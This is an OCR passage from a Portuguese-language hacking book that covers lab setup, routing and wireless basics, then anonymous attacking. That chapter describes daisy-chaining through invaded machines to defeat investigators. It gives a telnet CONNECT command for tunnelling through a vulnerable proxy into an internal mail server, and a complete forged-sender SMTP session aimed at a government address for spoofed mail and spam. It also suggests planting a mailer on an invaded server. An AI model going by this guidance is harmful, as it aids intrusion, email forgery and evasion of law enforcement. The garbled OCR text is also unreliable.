Network (or subnet) Host Type of SerVice and Network Type of Service and Host [RFC792]
Codes O Time to Live exceeded in Transit 1 Fragment Reassembly Time Exceeded 12 Parameter Problem Codes O Pointer indicates the error 1 Missing a Required Option 2 Bad Length [RFC792]
[RFC1108]
Procure as RFCs indicadas e estude o significado de cada um dos sinais e cdigos. Vale a pena!
1175 1
I RedesII
I Universidade
H4CK3R I
Laboratrio
de Redes
11
No captulo Redes I dtamos os equipamentos utilizadospara a montagem de uma rede simples com dois computadores, usando um cabo de conexo cruzada, normalmente apelidado de "cabo cross". Nosso fOcoprindpa1 era a montagem de uma rede domstica, sem o uso de equipamentos mais complexos como os hubs, bridges, switches e roteadores, embora tenhamos visto algumas definies desses aparelhos. Para a realizao de muitas das experincias sugeridas nos captulos a seguir,temos de preparar uma rede de testes um pouco mais elaborada. Ela deve ser, obviamente, isolada de sua rede de produo mas deve ter alguma ligao com a Internet. As vantagens de ter um ambiente controlado para fazer seus testes so bvias: ~ No h perigo de danificar mquinas de produo ou de uso freqente; ~ Da mesma forma, sua rede corporativa estar segura; ~ Pode-se "brincar" vontade com as ferramentas e exploits mostrados; ~ Se voc quiser ser um black hat, possvel testar os ataques antes; ~ Montar uma pequena rede pode ser uma excelente higiene mental; ~ Ser possvel fazer campeonatos de Doom depois do "horrio de aula" ;-). O hardware necessrio baratssimo. Pelo menos trs mquinas Pentium 133 ou superior, com 64 MB de RAMe 4 GB de espao em disco devem servir. Mquinas que rodaro sistemas Unix para PC precisam de menos poder ainda - velhos 486 ou mesmo 386 devem servir magistralmente. Cada uma das mquinas dever ter alguma placa de rede barata, mas que seja compatvel com todos os sistemas operacionais que vamos usar. Essas mquinas podem ser encontradas usadas por menos de R$ 200 cada nos "sucates" de informtica existentes em praticamente todo o Brasil. Observe que nem todas as mquinas precisam possuir monitores. Para a rede, um hub tambm usado e barato deve servir. Como o desempenho no ser problema aqui (muito pelo contrrio, quanto mais lenta a rede, melhor a troca de mensagens poder ser avaliada), qualquer hub, mesmo passivo, servir perfeitamente. Retalhos de cabos de par tranado categoria 5 ou mesmo 3 podero ser encontrados no lixo das empresas ou comprados baratinho nas mesmas lojas de sucata. Todo esse hardware ligado em rede merece bons sistemas operacionais para trabalhar. Guarde sua mquina mais parruda e instale nela vrias verses do Windows, em multiboot: 98 SE,Me, 2000 e XP so excelentes pedidas. Aplique nela todos os hotI1Xes e Service Packs disponveis. Essa mquina ser usada para originar ataques por meio de ferramentas Windows e para sofrer ataques destinados a mquinas atualizadas dessas plataformas. Na outra mquina, instale um Windows NT 4, um OpenBSD, um FreeBSD 4.5 e um Linux com opo de kemel2.2 e 2.4. No instale nenhum service pack ou atualizao nela. Essa ser a "coitada".
1176 1 Redes 11[
Universidade 2 Ano
Na mquina mais fraquinha, instale as verses mais atualizadas possveis do Linux com kernel 2.4 e OpenBSD. Ser sua origem de ataques Unix. Os Unix enxutos para PC se do bem em mquinas antigas. Por ltimo, vamos estabelecer uma conexo com a Internet. Uma no, quatro. Precisamos configurar as duas mquinas seguras como gateways de uma conexo de alta velocidade, portanto ambas tero duas placas de rede. O roteador de acesso rpido poder ser "plugado" na mquina que dever prover o acesso para aquele teste. Como vamos brincar de War Dialers, precisamos tambm de modems de linha discada. Cada computador dever ter o seu. O diagrama desta rede um pouco complicada ficaria assim:
Linha Telefonica
Windows
Coitada
Unix
Barramento do Hub
O material necessrio , ento: - 3 computadores Pentium 133 ou 486 com memria e disco apropriados; - 2 modems discados; - 5 placas de rede; - 1 hub lOBaseT barato; - Cabos UTP cat 3 ou melhor; - Sistemas operacionais indicados. Se forem usados cabos e placas coaxiais, ser possvel descartar o hub, mas a rede no ser mais facilmente expansvel. Isso interessante pois, no futuro, pode-se montar um cluster com diversos 386 adquiridos no lixo e que, juntos, formam um supercomputador respeitvel para quebrar senhas. Como bnus, no fim deste captulo recolhemos algumas informaes sobre tecnologias de Internet que podem ser de interesse. apenas uma referncia rpida: h literatura mais elaborada disponvel na Internet e em bons livros.
1177 ] Redes II 1
I Universidade
H4CK3R
Roteamento
Para que o roteador possa direcionar os dados pelos diferentes caminhos entre as redes interligadas, eles utilizam os chamados Protocolos de Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabela de roteamento, responsvel por identificar as rotas que sero seguidas por datagramas. Caso o roteador no conhea o caminho pelo qual o datagrama deve passar, ele o envia para um roteador listado como default gateway (caminho padro) para de l prosseguir seu caminho. O protocolo de roteamento age de duas formas, informando o menor caminho, o que no significa que esse seja o melhor, ou ento informando o melhor, que nem sempre o menor. Grande parte das vezes, o melhor caminho o menos congestionado, uma vez que os menores podem estar lidando com muitas requisies ao mesmo tempo. Dentre os protocolos de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utilizado, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing Information Protocol). OSPF O OSPF um protocolo aberto que baseado no link utilizado pelo TCP/lP. Ele capaz de testar o estado dos outros roteadores conectados por meio de uma mensagem chamada "hello", que enviada para cada um, e se o roteador contatado estiver funcionando ele retoma uma mensagem positiva; a falta de resposta significa que o equipamento est fora do ar. Alm disso, tambm possui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o datagrama baseado na prioridade do datagrama em questo. O cabealho OSPF formado por: Verso do protocolo; Verso Tipo - Tipo da mensagem que pode ser: hello, descrio do banco de dados, pedido do estado do link, atualizao do estado do link, conftrmao do estado do link; Informa o endereo IP do roteador que est IP do roteador de origem enviando a mensagem; rea - At em que rea a mensagem se refere (no OSPF as redes podem ser divididas em reas); Checksum: Checksum da mensagem; Tipo de autenticao - Informaes sobre a senha; Caso haja senha. Autenticao
RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30 em 30 segundos para os outros roteadores, fazendo dessa forma uma atualiza-
1178 I
Redes 11 r
Universidade 2 Ano
o constante de suas tabelas baseado nas de outros roteadores. Um dos maiores problemas encontrados nesse protocolo que ele defme o caminho a ser percorrido baseado na distncia at o receptor, sem levar em conta as condies e desempenho da rota a ser percorrida. As mensagens RIP possuem os seguintes elementos: Comando - Usado para identificar se a mensagem um pedido ou uma resposta; Verso - Informa a verso do protocolo; Reservado H diversos campos marcados como reservados, e todos eles so preenchidos com zeros; Protocolo - Informa qual foi o protocolo utilizado para gerar o
Endereo IP - Diz qual o IP da rede cuja distncia est sendo informada atravs da mensagem; Distncia Informa a distncia at a rede no campo do endereo IP.
endereamento;
Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais contadas no mundo digital, mas nunca demais relembrar a origem de um dos grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa norte-americanos da ARPA(Advanced Research Projects Agency), visando estabilidade de todo o sistema caso algo acontecesse a um dos seus terminais. Podemos dizer ento que mais um avano da humanidade nasceu ligado s intenes militares, tudo por causa da guerra fria. Aos poucos, a rede foi se expandindo para universidades e laboratrios, e com o tempo acabou ganhando o mundo. No existe um lugar central onde a Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do globo, todas elas baseadas no protocolo TCP/lP. No foi toa que ele se tomou to popular, como dissemos antes. A Rede Mundial de computadores, tambm chamada de WWW (WorldWide Web), formada por redes de alta capacidade, que por sua vez esto conectadas a computadores poderosos conhecidos como Backbones, com alta largura de banda. Discutir os componentes da Internet seria como discutir o prprio protocolo TCP1IP,e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar uma olhada em termos como FTp'HTTP,DNS, entre outros que l esto descritos. Esses so os termos mais usados na grande Rede.
Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que haja a possibilidade de criar domnios de difuso menores, e assim utilizar melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes
1179 I
] Redes 11
I Universidade
H4CK3R
segmentadas. Essas redes se utilizam apenas de um roteador IP. Sendo assim, cada sub possui apenas uma identificao. A rede teria um nmero ftxo de IP, como 192.168.10.0, e todas as mquinas compreendidas dentro dela teriam IPs baseados nesse nmero, por exemplo: IP da rede: 192.168.10.0 IPsintemos: 192.168.10.1, 192.168.10.2, 192.168.10.3...
Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identificao das mquinas na rede. Voc pode encontrar mais informaes sobre elas no captulo de Redes I, em TCP1IP.
Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de segurana em suas transmisses. necessrio que antenas estejam instaladas dentro do alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar uma antena para a captao desses dados, que, se no estiverem criptografados adequadamente, podero ser utilizados para outros fms que no os esperados. Uma de suas grandes vantagens que sua operao feita na freqncia de 2,4 GHz, considerada de uso pblico, e dessa forma no h necessidade de autorizao de rgos governamentais para sua utilizao. Uma outra forma de transmisso de dados por rdio conhecida como transmisso direcional. Ela feita por meio de antenas parablicas, mas estas devem estar bem alinhadas, pois qualquer obstculo ou desvio pode comprometer seriamente a conexo.
IEEE 802.11
Foi o padro criado para sanar o problema da falta de padronizao existente entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade entre os diferentes produtos, impedindo assim a comunicao entre as redes. Ele utiliza um esquema conhecido como Carrier Sense Multiple Access with Collision Avoidance (CSMNCA). O transmissor faz um teste inicial e logo em seguida sincroniza as mquinas para que no haja conflitos ou colises na transmisso dos dados.
InfravermeLho
A utilizao do infraverme1hq para a comunicao sem fto tem sua aplicao voltada mais para redes locais.' Seu alcance est restrito a um ambiente pequeno e totalmente sem obstculos, pois o espectro de luz no pode atravess-Ios. 1180
Redes11 [
Universidade 2 Ano
Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo custo, mas que infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de rdio de alta freqncia e sua versatilidade permite a conexo de vrios aparelhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a partir da iniciativa da Ericsson Mobile Communication, em 1994, para explorar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o SIG (Bluetooth Special Interest Group). O sistema utiliza uma freqncia de at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com distncia mxima de dez metros. GSM O Global System for Mobile Communications um padro para telefonia de arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo mundo. Ele opera na freqncia de 900 MHz, especificada pelo European Telecommunications Standards Institute (ETSI).Atualmente, a tecnologia empregada j est na sua terceira gerao, a qual veremos a seguir: 2,56 Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com celulares e PDAs.Alm disso, oferece uma gama de servios que tornaram esta tecnologia muito mais atrativa, como mensagens de texto instantneas e servios de localizao.
36
Terceira gerao da tecnologia GSM. Suas aplicaes esto voltadas para o acesso direto Internet com banda larga, transformando assim o telefone mvel em uma plataforma completa para a obteno de dados e servios na Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso significa efetuar compras em mquinas automticas e lojas utilizando o aparelho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.
WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless Ethernet Compatibility Alliance), que utiliza o protocolo conhecido como IEEE 802.11b.
1181 I ] Redes I1
Vulnerabilidades
Captulo
'Ves gens esc/aves, chansons, chants & requestes, Captifs par Princes, & Seigneurs aux prisons. A ! advenir par idiots sans testes,
Seront receus par divins oraisons ': i
1 Do povo escravizado, canes, cantos e perdidos/Cativos por prncipes e lordes nas prises: / No futuro, por tais idiotas acfalos / Esses (perdidos) sero tomados como oraes divinas.
I Universidade
H4CK3R I
medida que evolumos em nossos estudos sobre as fraquezas dos sistemas de informao, tomamo-nos mais ousados e confiantes. Este livro, mimetizado em curso superior, foi estruturado para que qualquer pessoa com conhecimento bsico em informtica pudesse chegar a entender alguma coisa sobre segurana e redes. Por isso mesmo, at aqui, o leitor foi tratado quase que como um leigo. Para no "ofender" os leitores com conhecimentos tcnicos mais avanados, colocamos no CD todas as matrias que normalmente seriam consideradas pr-requisito para entendimento do que realmente interessa. As matrias consideradas diretamente ligadas com hackerismo (invaso, engenharia social, etc.) ficaram no livro impresso. A partir de agora, consideraremos que os conceitos esto assimilados ("matria dada") e passaremos a tpicos mais "pesados". Vejamos o que temos at agora. Falando diretamente sobre hackers e inva-
- Aula Inaugural
mente chamado de hacker space ou digital underground. Captulo 1 - Psicologia Hacker - Um pouco do modo de pensar dos habitantes desse mundo. Captulo 5 informtica Captulo 6
computador.
- Fundamentos
- Engenharia
Jurdicos - Consideraes
informaes
legais sobre
ANTES de ligar o
Social - Obtendo I
Captulo 7
- Agindo
Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos grande multido de script kiddies espalhados pelo globo. O leitor deve ter notado que, em vez de falar de dezenas de ferramentas e explicar como cada uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais onde se pode encontrar tais ferramentas. Novamente advertimos: nenhum livro, CD-ROM,FAQ ou site na Internet ensinar algum a ser hacker. um processo que requer estudo, pacincia, persistncia e abnegao. No presente captulo, veremos mais algumas tcnicas usadas pelos script kiddies, desta vez focando sites na Internet ou redes e sistemas corporativos. Mas ao contrrio dos kiddies, voc saber exatamente o que est fazendo, baseado nos conhecimentos adquiridos anteriormente. Outra coisa que poder ser notada: ferramentas de "hacking" para Windows 9x so meros brinquedos. medida que as coisas vo ficando srias, apenas sistemas mais parrudos como o Windows NT ou o Unix possuem condies de servir de base para ataques, especialmente este ltimo. 11841
Vulnerabilidades 11 [
Universidade 2 Ano
Em caso de dvida, recomendamos uma releitura dos captulos anteriores, incluindo a execuo das experincias mostradas. O qu? Voc no fez nenhuma experincia prtica? Ora! Pare a leitura do livro por aqui s volte quando terminar a lio de casa!
Navegando anonimamente
Os proxies fazem mais do que servirem de fIrewall e cache para redes internas acessarem Internet. Um computador atrs de um proxy fIca totalmente escondido, e seu nmero IP no revelado. Para o computador que recebe a conexo, o IP de origem dos pacotes que chegam todo do proxy. Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h . diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga. Pode ser tambm algum proxy particular que esteja mal confIgurado e aceitando relay de toda a Internet. Mesmo bem configurado, h falhas em alguns softwares que permitem que hackers usem proxies alheios como escudo. O outro lado da moeda tambm vlido. Um proxy um servio aberto em uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser a porta de entrada para a invaso da mquina e comprometimento de outros servios antes "saudveis".
Proxies pblicos
Uma das formas de navegar sossegado pela Internet sem ser molestado utilizarse de um servidor pblico de proxy.Atrs desse servidor, seu IP fIca invisvel para todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos colecionadores de cookies e das investigaes do governo. Hackers que estejam tentando atingi-Iotero apenas o IP do proxy. Como toda tecnologia pode tambm ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques, que sero registrados nos logs da vtima com um IP diferente do seu. A conexo entre voc e o proxy pode ser criptografada com SSL- normalmente por meio de um Secure Shell ou SSH - e a maioriados servidoresgarante que suas atividades no sero registradas ou suas informaes redirecionadas a empresas que patrocinam o proxy. Parece seguro, no? Nem tanto. Bem ou mal, o prprio proxy tem informaes a seu respeito. Mesmo que haja proxies pblicos garantindo que voc no ser rastreado nem registrado nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um mandado judicial para que o responsvel pelo servidor abra seus registros Polcia Federal. Ser preso seria questo de horas. H vrias maneiras de tentar driblar esse inconveniente. A primeira uma tcnica chamada daisy-chain proxying: invade-se um computador sem importncia, que usado para invadir um segundo, que usado para invadir um
1185 1
]Vulnerabilidades
11
I Universidade
H4CK3R I
terceiro. Entre cada um desses computadores usa-se um proxy, aumentando o nmero de hosts intermedirios para seis ou mais e impondo uma dificuldade extra para os investigadores, que tero de vasculhar nos registros de vrios proxies at determinar a origem de cada um dos estgios. A vantagem desse mtodo que independente de plataforma: voc pode usar mquinas Unix, Windows, Mac ou qualquer outra que possua conectividade compatvel com o servio proxy. Lembre-se de usar servidores diferentes e, preferencialmente, geograficamel1te distantes. Se voc estiver no Brasil e quer invadir um sistema nos Estados Unidos, seu primeiro proxy pode estar na Austrlia, o segundo no Brasil mesmo e o terceiro na Europa. Incluir o Brasil na lista de proxies utilizados um "truque sujo" para confundir o investigador, que normalmente descarta a possibilidade de o atacante estar no mesmo pas do proxy investigado . ("Ningum seria to burro..."). Alguns endereos de proxies pblicos: www.publicproxyservers.com/ www.stayinvisible.com/ tools.rosinstrument.com/proxy www.antiproxy.com/ netspy. ukrpack.net/ E, obviamente, seu buscador de Internet favorito (Google, All the Web), com as palavras chave "public proxy", pode cuspir centenas de listas de servidores pblicos disponveis. Instrues para configurar seu browser para utilizar um desses servios podem ser encontradas na Ajuda dos prprios programas. Observe que h proxies para servios determinados, normalmente H1TP,Ffp e e-mail. Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve antes disfarar os pacotes TCP/lP de seu ataque para que se paream com o servio suportado e se passem pelo proxy. Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas menos efetiva, usar programas que escolhem automaticamente o proxy de uma lista e conectam-se a eles. Cada vez que o programa ativado, um servidor escolhido aleatoriamente ou obedecendo a critrios predefinidos.Alguns mais avanados so capazes de alternar entre proxies de tempos em tempos, pulverizando os rastros. O browser deve ser configurado para acessar o programa, que roda no endereo de loopback ("localhost" ou 127.0.0.1), e deixar que o programa cuide de encontrar um proxy seguro. Um bom servio pago de proxy assistido por um programa-cliente o Anonymizer (www.anonymizer.com). A verso mais bsica do servio custava, em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para Windows. Entre os recursos oferecidos, alm do proxy aleatrio com servidores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
1186 I Vulnerabilidades 11 [
Universidade 2 Ano
bloqueio do web bug, apagamento automtico do histrico de pginas visitadas e uma barra de ferramentas para o Internet Explorer 6. Alm dele, podemos destacar o Anonymity 4 Proxy (www. inetprivacy. com/a4proxy /). Disponvel para todas as verses do Windows, possui uma lista muito grande de proxies pblicos, e faz o gerenciamento de conexes a todos eles. Possui diversas opes que permitem associar zonas da Internet ou sites especficos a um ou mais servidores de proxy, anlise do trfego e protocolos associados e compartilhamento da conexo com uma rede local. Outro digno de nota o Stealther, um software que oferece a possibilidade de utilizar uma matriz de proxies pblicos para auto matizar o daisy-chain.
O Stealther pode ser encontrado em (www.photonosoftware.com/Stealther/ main. php::;?language=eng&reseller=9824). Para a turma do Free Software existe o JAP - Java Anonymity and Privacy. Como escrito em Java, funciona nas mais diversas plataformas que suportam essa linguagem, incluindo Unix, Macintosh, OS/2 e Windows. O software pode ser baixado em anon.inf.tu-dresden.de/ (o site est em alemo). 11871
]Vulnerabilidades
II
I Universidade H4CK3R I
o pessoal do Unix no foi esquecido. O ProxyTools (proxytools.sourceforge.net) um conjunto de ferramentas para desktop e servidor que tambm permite navegar anonimamente na Internet usando proxies annimos. Ele foi especialmente desenvolvido para auxiliar os internautas de pases que aplicam a censura na Internet, como China, Burma e os pases islmicos (e, mais recentemente, os Estados Unidos da Amrica). As ferramentas para mquinas-cliente rodam exatamente da maneira que os. outros softwares listados acima: procuram e encontram servidores proxy pblicos. H ainda um daemon que pode rodar em um servidor Unix e desempenha a lmo de "proxy dos proxies". Dessa forma, o cliente no precisa ter nada instalado em seu computador, fugindo de batidas policiais e, principalmente, das durssimas penas aplicadas aos infratores das leis de censura. Em alguns pases, essas penas podem incluir a execuo do infrator. Outras ferramentas similares para Unix so o Bouncer (www.rOOt3d.org.uk) e o ProxyFloppy (www.nameless.cultists.org). Apesar de ser mais seguro que navegar de peito aberto, cuidado com os proxies, especialmente os pblicos! Alguns so armadilhas da polcia, outros so por natureza inseguros e pode haver, inclusive, servidores maliciosos, mantidos por crackers, para rastrear script kiddies e internautas incautos, visando a us-Ios (principalmente seus IPs) como laranjas em ataques de spoofing. Por isso mesmo, hackers experientes preferem invadir uma rede sem importncia (pequenas empresas, escolas ou universidades) para usar seu proxy. Ou valerse de proxies mal configurados solta pela Internet.
Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy e faz-Iaesconder-se da Internet. O mtodo para cada tipo de proxy depende de sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades que fimcionam em qualquer plataforma, pois so inerentes tecnologia e no implementao da tecnologia por um determinado desenvolvedor. Um desses casos o TCP Tunnel, uma maneira de encapsular pacotes TCP dentro de outros para transport-Ios a salvo pela Internet. Essa tecnologia muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na tecnologia pode dar a hackers espertos um proxy improvisado. Essa vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid (www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem 1.12:
1188 I
Vulnerabilidades II [
Universidade 2 Ano
"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tunelado" entre clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits criptografados entre as duas extremidades da conexo. Normalmente, quando seu browser encontra uma URL https, executa uma das duas aes abaixo: 1 O browser abre uma conexo SSL direta com o servidor https; 2 O browser solicita a abertura de um tnel IP atravs do Squid usando o mtodo CONNECT. O mtodo CONNECT uma forma de tunelar qualquer conexo que passe por um proxy de HTTP. O proxy no interpreta ou entende o contedo que est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na conexo. Para mais detalhes sobre tunelamento e o mtodo CONNECT, veja o . internet draft "Tunneling TCP based protocols through web proxy servers" (www: web-cache. com/W ri tings/ln terne t-Drafts/ draft -luotonen-web-proxytunneling-O 1. txt) e a RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)." Veja a seguinte frase, retirada desse trecho do FAQ:"O proxy no interpreta ou entende o contedo que est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na conexo." Isso quer dizer que o proxy sequer verifica se os dados esto criptografados ou no. Portanto, pode-se explorar essa vulnerabilidade simplesmente usando o mtodo CONNECT para conectar-se a um servidor, que pode ser tanto uma mquina na Internet como um servidor em sua Intranet! Lembre-se de que o proxy pode estar rodando na mquina gateway, que possui duas interfaces de rede (uma para a rede interna e outra para a rede externa). Tomando posse do proxy, o invasor tem acesso rede interna, mesmo que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!! Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a um servidor de e-mail interno e o usaremos como remailer. Considere as seguintes informaes: ~ IP do atacante: 200.230.xxx.yyy ~ Proxy vulnervel da vtima: 64. 131.aaa.bbb, "escutando" na porta 3128 ~ Servidor SMTP interno da vtima: 192.168.1.11 Conecte-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do Unix, mas pode ser feito no Windows sem problemas, com emuladores de terminal e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brinde" com o SO): $ telnet 64.131.aaa.bbb3128 Uma vez conectado, digite o seguinte comando: CONNECT 192.168.1.11:25/ HTTP/1.0 Se, como resposta, aparecer o banner do servidor, voc pode emitir comandos para enviar seus e-mails annimos (veja a prxima seo, "Anonymous remailers", ainda neste captulo). Note que SMTP foi usado aqui apenas como exemplo. Voc pode usar o mtodo CONNECT para qualquer servio: POp, FTP,
1189 I
I
Vulnerabilidades
11
I Universidade
H4CK3R I
HTTP,5MB/CIFS, Telnet novamente... Note ainda que, tunelando vrios proxies em cadeia, possvel colocar vrios nveis de proxying em seus ataques. A correo para este problema to simples quanto bvia: desligue o TCP Thnneling no seu proxy. Se o tunelamento for absolutamente necessrio, no deixe seu proxy conectado diretamente Internet. Instale-o em outra mquina e coloqueo atrs do firewall. Restringir as portas pelas quais se pode fazer o tunelamento, deixando apenas as que realmente sero usadas, tambm uma boa sada.
Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre, tambm tem suas mazelas. Sites com Squid e regras de flrewalls mal conflgurados so um prato cheio para quem est procurando anonimato. Mas mesmo sistemas perfeitamente conflgurados (e indiscutivelmente seguros do ponto de vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade recente (lwn.netNulnerabilities/4;;;;;;6) permite diversos ataques, entre eles: ~ Problemas com o protocolo Gopher permitem que menus malformados causem problemas de segurana; ~ Os dois canais de comunicao FTP permitem que dados sejam extrados ou inseridos, podendo forar o download de arquivos arbitrrios ou a execuo de comandos no servidor; ~ Falha na autenticao permite que usurios no cadastrados utilizem o proxy. As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados. Exploits podem ser encontrados no Security Focus (www.securityfocus.com). A correo simples: atualize seu Squid para a verso 2.4.STABLE7 ou superior. Mas como os administradores de rede por a so preguiosos (e a falha relativamente nova, de novembro de 2002), possvel que voc encontre, por muitos anos ainda, Squids com verses vulnerveis.
WinGate
O WinGate foi lanado em 1995 como um compartilhador de Internet para redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu preo baixo, foi muito popular nos EUA.Apesar de ser um produto j velhinho, muita gente ainda o usa para compartilhar sua conexo de Internet com as mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses antigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet, por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer. Mas o interessante que algumas verses do WinGate mal conflguradas permitem que ele seja usado como proxy annimo. Se voc roda um desses, est arriscado a emprestar o SEU IP para que script kiddies ataquem o Pentgono. Encontrar exploits para o WinGate muito fcil. Use seu mecanismo de busca
190
I
Vulnerabilidades 11 [
Universidade 2 Ano
favorito e procure por "wingate scanner". Tenha em mente que muitos desses scanners podem ser armadilhas para pegar script kiddies e, portanto, conter vrus e trojans - atualize seu antivrus!!! A correo para isso bem fcil. Se voc insistir em usar Windows, faa um upgrade do WinGate (www.wingate.com) ou use outro software, como o WinProxy (www.winproxy.com).As verses mais novas do Windows possuem o Internet Connection Sharing, que dispensa o uso de programas externos. Mas o prprio ICS , em si, inseguro, ento recomendamos que instale um ftrewall pessoal como o ZoneAlarm (www.zonealarm.com) ou compre por uns trocados uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes de RAM e sem nenhum HD. Nela, instale algum gateway+ftrewall baseado em Linux ou FreeBSD.Boas pedidas so o Coyote Linux (www.coyotelinux.com). o Trinux (trinux.sourceforge.net) e o FreeSCO (www.freesco.org). A sucata de 386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows com ICS e Zone Alarm.Alm disso, se bem conflgurada funcionar melhor, ser mais segura e deixar seu miero de trabalho com menos porcarias instaladas.
Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclopdia, dos pop-ups em web sites e dos representantes tcnicos de grandes softwarehouses, insistindo para que voc use o carssimo programa deles, e no aquele gratuito que faz a mesma coisa) o spam. Todos ns recebemos, diariamente, dezenas ou mesmo centenas de mensagens indesejadas nos oferecendo de tudo, de sexo a cera colorida para automveis, de panelas ultra-modernas a consolidao de dvidas. Em um primeiro momento, fcil conflgurar um cliente de e-mail como o Outlook ou o Eudora para, no campo "From" das mensagens enviadas, apresentar um endereo diferente. do seu. Mas esse artifcio logo descoberto, pois no cabealho do e-mail (os dados que vm antes de sua mensagem, e que normalmente no aparecem) ficam registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o nome do programa que voc usou. Para enviar spam sossegado (ou um cavalo de tria) voc tem, ento, duas opes: ~ Encontrar servidores de SMTPque estejam abertos para relay externo, ou seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles so bem comuns... ~ Utilizar um software ou site que reenvie seus e-mails sem revelar a origem. Em servidores SMTP desprotegidos, voc pode configurar seu cliente de e-mail para conectar-se a ele, mas isso poderia deixar muitos rastros. Uma boa tcnica usar o velho e bom telnet para tal. Depois de encontrar um servidor de e-mail aberto ao grande pblico, d um telnet a ele na porta 25:
$ telnet IP.DO.SMTP.ABERTO 25
1191
I
Vulnerabilidades
II
I Universidade H4CK3R I
No prompt que aparecer, voc deve digitar os comandos que, normalmente, seu programa de e-mail enviaria ao servidor - sim, eles esto em texto puro!
HELO servidor. aberto. com MAIL FROM: mailfalso@servidor.aberto.com RCPT TO: pr@presidencia.gov.br DATA Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST) From: mailfalso@servidor.aberto.com (Um brasileiro resoluto) To: pr@presidencia.gov.br Subject: Programa de Governo Reply-To: mailfalso@servidor.aberto.com Ei! Quando vocs vo comear a cumprir o programa de governo, hein? QUIT
Alguns sistemas, mesmo abertos para relay externo, so imunes a esse procedimento. Voc conseguir enviar o e-mail,mas no ser permitido "mentir" a respeito de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea de verificar os cabealhos! O que ocorre que servidores de SMTP mais novos verificaro sua identidade com o servio identd (que tenta identific-Io remotamente). Nesses casos, necessrio "enganar" o identd primeiro, para depois usar o SMTP aberto. No tenha preguia de completar todos os campos mostrados. Assim, sua mensagem ficar mais parecida com uma mensagem real. Para mais informaes sobre o funcionamento do protocolo SMTP, leia as RFCs 822 e 931. H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospedagem gratuita e mecanismos de busca (como o Lycos: members.lycos.fr/ moiaptoi/mail.php) possuem pginas especiais para enviar e-mails com mensagens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, torna-se uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco: ~ www.gi1c. org/speech/anonymous/remai1er.html ~ fanc1 ub. etoy. c3 .hu/tanksystem/underground-tank/resistance/ mailerform.html <= Um site de estudantes! ~judsonalumni.com/1evel5 ~ www.email-anonyme.fr.st ~ mailer.us.tf Voc pode ainda invadir um servidor qualquer na Internet e imp1ementar l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em PHP) pode ser visto em http://www.pscode.com/vb/scripts/ ShowCode.asp ?txtCodeId=95 3&lngWId=8. H pilhas de softwares que 